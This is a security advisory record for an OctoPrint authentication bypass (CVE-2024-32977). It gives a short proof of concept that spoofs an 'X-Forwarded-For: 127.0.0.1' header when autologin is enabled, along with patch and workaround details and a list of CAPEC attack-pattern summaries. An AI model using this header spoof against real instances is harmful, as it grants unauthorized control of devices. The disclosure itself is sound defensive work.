X-Forwarded-For: 127.0.0.1header to HTTP requests. For example, this can be done using proxy software like Burp Suite. Alternatively, there are browser extensions such as https://github.com/MisterPhilip/x-forwarded-for, but I haven't tried them. - Navigate to OctoPrint and note that it logs you in automatically.
Credits
This vulnerability was discovered and responsibly disclosed to OctoPrint by Jacopo Tediosi.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.10.0"
},
"package": {
"ecosystem": "PyPI",
"name": "OctoPrint"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.10.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-32977"
],
"database_specific": {
"cwe_ids": [
"CWE-290"
],
"github_reviewed": true,
"github_reviewed_at": "2024-05-14T20:13:47Z",
"nvd_published_at": "2024-05-14T16:17:12Z",
"severity": "HIGH"
},
"details": "### Impact\n\nOctoPrint versions up until and including 1.10.0 contain a vulnerability that allows an unauthenticated attacker to completely bypass the authentication **if the `autologinLocal` option is enabled** within `config.yaml`, even if they come from networks that are not configured as `localNetworks`, by spoofing their IP via the `X-Forwarded-For` header.\n\nIf autologin is not enabled, this vulnerability does not have any impact.\n\n### Patches\n\nThe vulnerability has been patched in version 1.10.1.\n\n### Workaround\n\nUntil the patch has been applied, OctoPrint administrators who have autologin enabled on their instances should disable it and/or to make the instance inaccessible from potentially hostile networks like the internet.\n\n### PoC\n\n1. Enable the `autologinAs` configuration within the `accessControl` section in the [OctoPrint yaml configuration file](https://docs.octoprint.org/en/master/configuration/config_yaml.html#access-control)\n2. Set your browser to add the `X-Forwarded-For: 127.0.0.1` header to HTTP requests. For example, this can be done using proxy software like Burp Suite. Alternatively, there are browser extensions such as https://github.com/MisterPhilip/x-forwarded-for, but I haven\u0027t tried them.\n3. Navigate to OctoPrint and note that it logs you in automatically.\n\n### Credits\n\nThis vulnerability was discovered and responsibly disclosed to OctoPrint by Jacopo Tediosi.",
"id": "GHSA-2vjq-hg5w-5gm7",
"modified": "2025-03-05T19:27:36Z",
"published": "2024-05-14T20:13:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OctoPrint/OctoPrint/security/advisories/GHSA-2vjq-hg5w-5gm7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32977"
},
{
"type": "WEB",
"url": "https://github.com/OctoPrint/OctoPrint/commit/5afbec8d23508edc25b0f1bdef1620580136add4"
},
{
"type": "PACKAGE",
"url": "https://github.com/OctoPrint/OctoPrint"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/octoprint/PYSEC-2024-237.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "OctoPrint has an Authentication Bypass via X-Forwarded-For Header when autologinLocal is enabled"
}
No mitigation information available for this CWE.
CAPEC-21: Exploitation of Trusted Identifiers
An adversary guesses, obtains, or "rides" a trusted identifier (e.g. session ID, resource ID, cookie, etc.) to perform authorized actions under the guise of an authenticated user or service.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-459: Creating a Rogue Certification Authority Certificate
An adversary exploits a weakness resulting from using a hashing algorithm with weak collision resistance to generate certificate signing requests (CSR) that contain collision blocks in their "to be signed" parts. The adversary submits one CSR to be signed by a trusted certificate authority then uses the signed blob to make a second certificate appear signed by said certificate authority. Due to the hash collision, both certificates, though different, hash to the same value and so the signed blob works just as well in the second certificate. The net effect is that the adversary's second X.509 certificate, which the Certification Authority has never seen, is now signed and validated by that Certification Authority.
CAPEC-461: Web Services API Signature Forgery Leveraging Hash Function Extension Weakness
An adversary utilizes a hash function extension/padding weakness, to modify the parameters passed to the web service requesting authentication by generating their own call in order to generate a legitimate signature hash (as described in the notes), without knowledge of the secret token sometimes provided by the web service.
CAPEC-473: Signature Spoof
An attacker generates a message or datablock that causes the recipient to believe that the message or datablock was generated and cryptographically signed by an authoritative or reputable source, misleading a victim or victim operating system into performing malicious actions.
CAPEC-476: Signature Spoofing by Misrepresentation
An attacker exploits a weakness in the parsing or display code of the recipient software to generate a data blob containing a supposedly valid signature, but the signer's identity is falsely represented, which can lead to the attacker manipulating the recipient software or its victim user to perform compromising actions.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-667: Bluetooth Impersonation AttackS (BIAS)
An adversary disguises the MAC address of their Bluetooth enabled device to one for which there exists an active and trusted connection and authenticates successfully. The adversary can then perform malicious actions on the target Bluetooth device depending on the target’s capabilities.
CAPEC-94: Adversary in the Middle (AiTM)
An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.